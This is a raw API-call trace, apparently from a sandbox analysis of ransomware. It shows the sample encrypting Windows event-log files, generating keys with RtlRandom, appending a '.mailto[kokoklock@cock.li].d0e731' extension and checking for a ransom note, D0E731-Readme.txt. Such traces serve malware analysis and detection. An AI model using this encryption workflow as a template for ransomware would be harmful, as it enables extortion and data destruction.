SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.778] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95908) returned 1 [0167.778] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.778] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.778] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.778] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.778] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.778] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.778] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e290) returned 1 [0167.778] RtlExitUserThread (Status=0x1) Thread: id = 1675 os_tid = 0xaec [0167.781] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.781] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.781] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.781] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb56fc58 | out: lpFileSize=0xb56fc58*=69824) returned 1 [0167.781] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.781] ReadFile (in: hFile=0x528, lpBuffer=0xb56fc2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb56fc28, lpOverlapped=0x0 | out: lpBuffer=0xb56fc2c*, lpNumberOfBytesRead=0xb56fc28*=0x4, lpOverlapped=0x0) returned 1 [0167.782] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.782] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96368 [0167.783] NtQuerySystemTime (in: CurrentTime=0xb56fc04 | out: CurrentTime=0xb56fc04*=132121213251001667) returned 0x0 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x8adbebd5 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xc4f8c8bc [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x84db193c [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x7837aaeb [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x35eb015d [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xeb3062b2 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xcdfc6e36 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x973f24a0 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x1c90de11 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xa1a39c0a [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x7941080 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x619597d5 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xb352ad9f [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x61e0215f [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x2698e993 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xb008bad3 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x92a092ef [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x8a630be0 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x79ee4b27 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xf40462b0 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xd1dd49e3 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x8a98d90c [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xfb72e4af [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x6f347105 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xd6276346 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x6c976cdc [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xa6f767e4 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x29e254c1 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0xac642bfa [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x36b7fab4 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x17bf4ed3 [0167.783] RtlRandom (in: Seed=0xb56fc10 | out: Seed=0xb56fc10) returned 0x3250e8e3 [0167.792] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.794] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.794] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.794] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.794] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.794] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.794] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.794] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb56fbdc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb56fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0167.795] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.796] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb56fbdc, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb56fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0167.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.797] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.797] WriteFile (in: hFile=0x528, lpBuffer=0x2f96278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb56fc14, lpOverlapped=0x0 | out: lpBuffer=0x2f96278*, lpNumberOfBytesWritten=0xb56fc14*=0x20, lpOverlapped=0x0) returned 1 [0167.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.797] WriteFile (in: hFile=0x528, lpBuffer=0x2f96408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb56fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f96408*, lpNumberOfBytesWritten=0xb56fc28*=0x8, lpOverlapped=0x0) returned 1 [0167.797] WriteFile (in: hFile=0x528, lpBuffer=0xb56fc40*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb56fc28, lpOverlapped=0x0 | out: lpBuffer=0xb56fc40*, lpNumberOfBytesWritten=0xb56fc28*=0x4, lpOverlapped=0x0) returned 1 [0167.797] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb56fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb56fc28*=0x4, lpOverlapped=0x0) returned 1 [0167.797] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb56fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb56fc28*=0x6c, lpOverlapped=0x0) returned 1 [0167.797] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb56fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb56fc28*=0x20, lpOverlapped=0x0) returned 1 [0167.797] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb56fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb56fc28*=0x4, lpOverlapped=0x0) returned 1 [0167.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.797] CloseHandle (hObject=0x528) returned 1 [0167.798] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x2f901e0 [0167.798] wcscpy (in: _Dest=0x2f901e0, _Source="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.798] wcscat (in: _Dest=0x2f901e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.798] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.798] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.799] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f901e0) returned 1 [0167.799] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.799] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.799] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.799] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.799] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.799] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.799] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a0) returned 1 [0167.799] RtlExitUserThread (Status=0x1) Thread: id = 1676 os_tid = 0x838 [0167.800] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.800] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.801] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.801] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb5ef860 | out: lpFileSize=0xb5ef860*=69824) returned 1 [0167.801] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.801] ReadFile (in: hFile=0x528, lpBuffer=0xb5ef834, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb5ef830, lpOverlapped=0x0 | out: lpBuffer=0xb5ef834*, lpNumberOfBytesRead=0xb5ef830*=0x4, lpOverlapped=0x0) returned 1 [0167.802] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.802] NtQuerySystemTime (in: CurrentTime=0xb5ef80c | out: CurrentTime=0xb5ef80c*=132121213251158137) returned 0x0 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x8e76d583 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x45d6c99 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x5bdb73e4 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xc62b52bb [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xfff768d0 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x83c7ce7e [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x69b0606b [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x5b55c3f7 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x56036ba4 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xecf5ce19 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xf8ee6ea2 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xace49231 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x2507b9aa [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x8788250e [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x76853ea5 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x8ea27f57 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x4404e062 [0167.802] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x6e49fcf7 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xbad976cd [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xbfa50ae [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xa1b69b46 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x1e0b7210 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xb52926d [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x3901de70 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xb5ecbb55 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x62fec0a9 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x284aa881 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x7dc37cc2 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xdca4d7ff [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x7b86227c [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0x23727727 [0167.803] RtlRandom (in: Seed=0xb5ef818 | out: Seed=0xb5ef818) returned 0xb5c96164 [0167.812] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969d0 [0167.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.814] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.814] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb5ef7e4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb5ef7e4*=0x4096, lpOverlapped=0x0) returned 1 [0167.815] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.815] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.815] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.815] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.816] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.816] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.816] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.816] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.816] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.816] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.816] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb5ef7e4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb5ef7e4*=0x4096, lpOverlapped=0x0) returned 1 [0167.816] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.816] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.816] WriteFile (in: hFile=0x528, lpBuffer=0x2f96278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb5ef81c, lpOverlapped=0x0 | out: lpBuffer=0x2f96278*, lpNumberOfBytesWritten=0xb5ef81c*=0x20, lpOverlapped=0x0) returned 1 [0167.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.817] WriteFile (in: hFile=0x528, lpBuffer=0x2f969d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb5ef830, lpOverlapped=0x0 | out: lpBuffer=0x2f969d0*, lpNumberOfBytesWritten=0xb5ef830*=0x8, lpOverlapped=0x0) returned 1 [0167.817] WriteFile (in: hFile=0x528, lpBuffer=0xb5ef848*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb5ef830, lpOverlapped=0x0 | out: lpBuffer=0xb5ef848*, lpNumberOfBytesWritten=0xb5ef830*=0x4, lpOverlapped=0x0) returned 1 [0167.817] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb5ef830, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb5ef830*=0x4, lpOverlapped=0x0) returned 1 [0167.817] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb5ef830, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb5ef830*=0x6c, lpOverlapped=0x0) returned 1 [0167.817] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb5ef830, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb5ef830*=0x20, lpOverlapped=0x0) returned 1 [0167.817] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb5ef830, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb5ef830*=0x4, lpOverlapped=0x0) returned 1 [0167.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969d0) returned 1 [0167.817] CloseHandle (hObject=0x528) returned 1 [0167.817] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xee) returned 0x2f95908 [0167.817] wcscpy (in: _Dest=0x2f95908, _Source="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" [0167.817] wcscat (in: _Dest=0x2f95908, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.817] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.819] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95908) returned 1 [0167.819] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.819] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.819] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.819] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") 